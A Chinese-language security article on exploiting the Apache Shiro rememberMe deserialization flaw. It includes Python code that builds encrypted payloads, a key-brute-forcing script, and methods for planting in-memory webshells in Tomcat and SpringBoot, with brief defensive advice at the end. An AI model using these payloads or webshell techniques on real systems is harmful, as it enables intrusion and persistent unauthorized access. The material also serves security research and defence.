深入利用Shiro反序列化漏洞
字数 1619 2025-08-20 18:18:23
Apache Shiro 反序列化漏洞深入分析与利用
0x00 背景
Apache Shiro 反序列化 RCE 漏洞是实战中高频出现的漏洞类型。Shiro 框架在 Java Web 登录认证中广泛应用,其 payload 本身是加密的,无攻击特征,几乎不会被 WAF 检测和拦截。
0x01 Shiro 反序列化原理
漏洞核心流程
- Shiro 处理 cookie 的关键代码:先 decrypt 再反序列化
- 解密方法使用硬编码的 DEFAULT key(1.2.4 版本)
- CipherService 接口的唯一实现类是 JcaCipherService
CBC 加密模式分析
- IV 是 ciphertext 的前 16 个字节
- 只要知道 key 即可构造反序列化 payload
- 1.4.2 之前很多 Shiro 可以通过遍历高频 key 攻击
CBC 模式 payload 生成关键代码
BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
mode = AES.MODE_CBC
iv = uuid.uuid4().bytes
file_body = pad(file_body)
encryptor = AES.new(base64.b64decode(key), mode, iv)
base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
return base64_ciphertext
0x02 高版本利用 (1.4.2+)
GCM 加密模式变化
- 由于 padding oracle 影响,官方将加密方式改为 GCM
- GCM 加密不需要 padding,但需要 MAC 值(tag)
GCM 模式 payload 生成关键代码
iv = os.urandom(16)
cipher = AES.new(base64.b64decode(key), AES.MODE_GCM, iv)
ciphertext, tag = cipher.encrypt_and_digest(file_body)
ciphertext = ciphertext + tag
base64_ciphertext = base64.b64encode(iv + ciphertext)
return base64_ciphertext
0x03 攻击进阶技术
1. Key 检测技术
传统方法:使用 ysoserial 的 URLDNS 模块(依赖出网)
改进方法:使用空的 SimplePrincipalCollection 作为序列化对象
- 正确 key:响应包不会返回 rememberMe=deleteMe
- 错误 key:会返回 rememberMe=deleteMe
检测代码逻辑:
r1 = requests.get(target, cookies={'rememberMe': "123"}, ...)
rsp1 = len(str(r1.headers))
for key in keys:
payload = generate_payload(key, checkdata)
r = requests.get(target, cookies={'rememberMe': payload}, ...)
rsp = len(str(r.headers))
if rsp1 != rsp and r.status_code != 400:
print("!! Get key: {0}".format(key))
exit()
2. 回显技术演进
- Linux 下半回显
- kingkk 的 Tomcat 通用半回显
- c0ny1 的半自动化挖掘
- fnmsd 的通用回显
fnmsd 通用回显原理:
- 在当前线程对象中搜索 request 对象
- 判断请求头中是否存在指定请求头
- 从 response 对象获取输出
注意点:
- 默认搜索深度 52 层可能不够(可改为 100 层)
- 长 payload 可能超过 Tomcat header 限制长度
- Nginx 下需要分段注入等替代方案
3. 内存 WebShell 技术
技术路线:
- 注册 Filter(主流方案)
- 注册 Controller(观星师傅方案)
threedr3am 方案:
- 基于 Tomcat 的内存 WebShell
- 通杀 Tomcat(除 Tomcat6)
- 存在 payload 过长问题
涙涙笑改进方案:
- Cookie 中只插入自定义 ClassLoader
- ClassLoader 反射调用 defineClass
- 实际 payload 通过 POST 传递
- 解决了长度限制问题
内存 WebShell 关键点:
- 编译后的 byte 放在 static 代码块中
- POST 传递 classData 必须 URL 编码
- 可配合 reGeorg 实现代理
4. 内存 WebShell 适配冰蝎
挑战:冰蝎依赖的 pageContext 类在 SpringBoot 中不存在
解决方案:
- 修改冰蝎服务端代码(不通用)
- 注入 pageContext 类 + 内存 WebShell
0x04 防御建议
- 升级到最新版 Shiro
- 使用随机生成的加密 key
- 禁用 rememberMe 功能(如不需要)
- 实施严格的输入过滤
- 监控异常 rememberMe cookie
工具与资源
- ysoserial 修改版(支持短 payload)
- 高频 key 字典
- 自动化检测与利用脚本
- 内存 WebShell 生成工具
总结
Shiro 反序列化漏洞利用技术经历了从简单到复杂的发展过程,攻击者已掌握多种绕过限制和实现高级利用的技术。防御方需要采取多层次防护措施,并及时跟进最新的安全补丁和防护方案。